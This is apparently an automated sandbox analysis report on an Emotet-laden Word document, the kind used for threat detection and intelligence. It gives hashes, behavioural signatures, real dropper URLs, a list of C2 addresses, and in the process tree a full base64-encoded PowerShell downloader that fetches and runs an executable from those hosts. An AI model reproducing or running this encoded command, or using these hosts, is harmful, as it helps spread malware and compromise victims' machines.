Analysis

  • max time kernel
    26s
  • max time network
    21s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    28-07-2020 20:18

General

  • Target

    9105db623fde6fadcd51e258a21e1e0f15747c2f86dd1305467fbcb55895fdc9.doc

  • Size

    169KB

  • MD5

    72262c45c08d0465ec195a531c96ae03

  • SHA1

    2fafe3729b00002a4681870ff4330cc1c9d52627

  • SHA256

    9105db623fde6fadcd51e258a21e1e0f15747c2f86dd1305467fbcb55895fdc9

  • SHA512

    9f45b14177494f2c02b5e04717b8b12f7f2e32868d63cfb42942e8b046e8c1fe18c9a30faea79afe11597cc84071925587b1d863b568f28192be8a41e24fd26e

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://globeartdesigners.com/assets/lR/

exe.dropper

http://karerguvenlik.com/bayi/6UF4rtEz/

exe.dropper

https://juroca.com/language/Uiv/

exe.dropper

https://www.lgpass.com/images/Wk128/

exe.dropper

http://m0h.net/nano/WLfQ/

Extracted

Family

emotet

C2

179.60.229.168:443

185.94.252.13:443

189.218.165.63:80

77.90.136.129:8080

217.199.160.224:7080

104.131.41.185:8080

2.47.112.152:80

185.94.252.27:443

186.250.52.226:8080

51.255.165.160:8080

68.183.170.114:8080

191.99.160.58:80

104.131.103.37:8080

181.31.211.181:80

202.62.39.111:80

83.169.21.32:7080

87.106.46.107:8080

72.47.248.48:7080

177.75.143.112:443

190.17.195.202:80

rsa_pubkey.plain

Signatures

  • Office loads VBA resources, possible macro or embedded object present
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Blacklisted process makes network request 1 IoCs
  • Emotet Payload 2 IoCs

    Detects Emotet payload in memory.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in System32 directory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\9105db623fde6fadcd51e258a21e1e0f15747c2f86dd1305467fbcb55895fdc9.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1124
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABRAFYARgBLAEkAawB5AGgAPQAnAEUAUABEAFIARgBvAGsAZAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBgAFUAUgBJAFQAWQBwAHIATwBgAFQAYABPAGAAYwBPAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABLAFYAQwBGAFkAdgBtAGUAIAA9ACAAJwAzADYAOQAnADsAJABEAFYAWABTAEoAawBxAGoAPQAnAE8AVQBRAFgAQgBpAHYAbQAnADsAJABZAE0ASQBGAEYAagBpAGMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEsAVgBDAEYAWQB2AG0AZQArACcALgBlAHgAZQAnADsAJABPAEQAWQBIAFgAaABlAG0APQAnAFQAUABOAFYAVQBtAGkAYgAnADsAJABBAEsAUwBSAFcAeABjAHYAPQAmACgAJwBuAGUAJwArACcAdwAnACsAJwAtACcAKwAnAG8AYgBqAGUAYwB0ACcAKQAgAE4AZQB0AC4AVwBFAGIAYwBMAGkARQBuAFQAOwAkAEkAQQBIAEEATAB3AGEAZgA9ACcAaAB0AHQAcAA6AC8ALwBnAGwAbwBiAGUAYQByAHQAZABlAHMAaQBnAG4AZQByAHMALgBjAG8AbQAvAGEAcwBzAGUAdABzAC8AbABSAC8AKgBoAHQAdABwADoALwAvAGsAYQByAGUAcgBnAHUAdgBlAG4AbABpAGsALgBjAG8AbQAvAGIAYQB5AGkALwA2AFUARgA0AHIAdABFAHoALwAqAGgAdAB0AHAAcwA6AC8ALwBqAHUAcgBvAGMAYQAuAGMAbwBtAC8AbABhAG4AZwB1AGEAZwBlAC8AVQBpAHYALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGwAZwBwAGEAcwBzAC4AYwBvAG0ALwBpAG0AYQBnAGUAcwAvAFcAawAxADIAOAAvACoAaAB0AHQAcAA6AC8ALwBtADAAaAAuAG4AZQB0AC8AbgBhAG4AbwAvAFcATABmAFEALwAnAC4AIgBzAGAAcABMAEkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFMARABWAFoAUwBhAHMAdAA9ACcATgBTAEIASQBLAGMAYwBwACcAOwBmAG8AcgBlAGEAYwBoACgAJABVAFQATQBLAEcAYQBsAGgAIABpAG4AIAAkAEkAQQBIAEEATAB3AGEAZgApAHsAdAByAHkAewAkAEEASwBTAFIAVwB4AGMAdgAuACIARABgAE8AVwBOAGwAbwBgAEEARABGAGAAaQBMAEUAIgAoACQAVQBUAE0ASwBHAGEAbABoACwAIAAkAFkATQBJAEYARgBqAGkAYwApADsAJABHAFcAWABRAE4AeABkAHcAPQAnAFIAVABaAEUAUABhAGsAZAAnADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAFkATQBJAEYARgBqAGkAYwApAC4AIgBsAGAAZQBOAEcAdABoACIAIAAtAGcAZQAgADIANgA1ADEANAApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwBSAGAARQBhAGAAVABFACIAKAAkAFkATQBJAEYARgBqAGkAYwApADsAJABQAEwAWQBPAEUAegBxAHQAPQAnAEsARgBMAFMARgBnAGIAZQAnADsAYgByAGUAYQBrADsAJABDAFEAWQBXAFYAZwBiAHoAPQAnAEoAQwBBAFkASAB1AHEAegAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABJAEkAUwBRAFcAZAB3AG0APQAnAEcAQQBVAFgATgB3AGsAYgAnAA==
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Process spawned unexpected child process
    • Drops file in System32 directory
    PID:1044
  • C:\Users\Admin\369.exe
    C:\Users\Admin\369.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    • Suspicious use of SetWindowsHookEx
    • Drops file in System32 directory
    PID:1836
    • C:\Windows\SysWOW64\cryptdlg\msdtcuiu.exe
      "C:\Windows\SysWOW64\cryptdlg\msdtcuiu.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Executes dropped EXE
      • Suspicious use of SetWindowsHookEx
      PID:1852

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\369.exe

  • C:\Users\Admin\369.exe

  • C:\Windows\SysWOW64\cryptdlg\msdtcuiu.exe

  • memory/1124-2-0x0000000008AE0000-0x0000000008AE4000-memory.dmp

    Filesize

    16KB

  • memory/1124-4-0x0000000006DA0000-0x0000000006FA0000-memory.dmp

    Filesize

    2.0MB

  • memory/1124-6-0x000000000AEE0000-0x000000000AEE4000-memory.dmp

    Filesize

    16KB

  • memory/1124-7-0x000000000BF60000-0x000000000BF64000-memory.dmp

    Filesize

    16KB

  • memory/1124-10-0x0000000002180000-0x0000000002181000-memory.dmp

    Filesize

    4KB

  • memory/1836-12-0x00000000002B0000-0x00000000002BC000-memory.dmp

    Filesize

    48KB

  • memory/1852-14-0x0000000000000000-mapping.dmp

  • memory/1852-16-0x00000000003B0000-0x00000000003BC000-memory.dmp

    Filesize

    48KB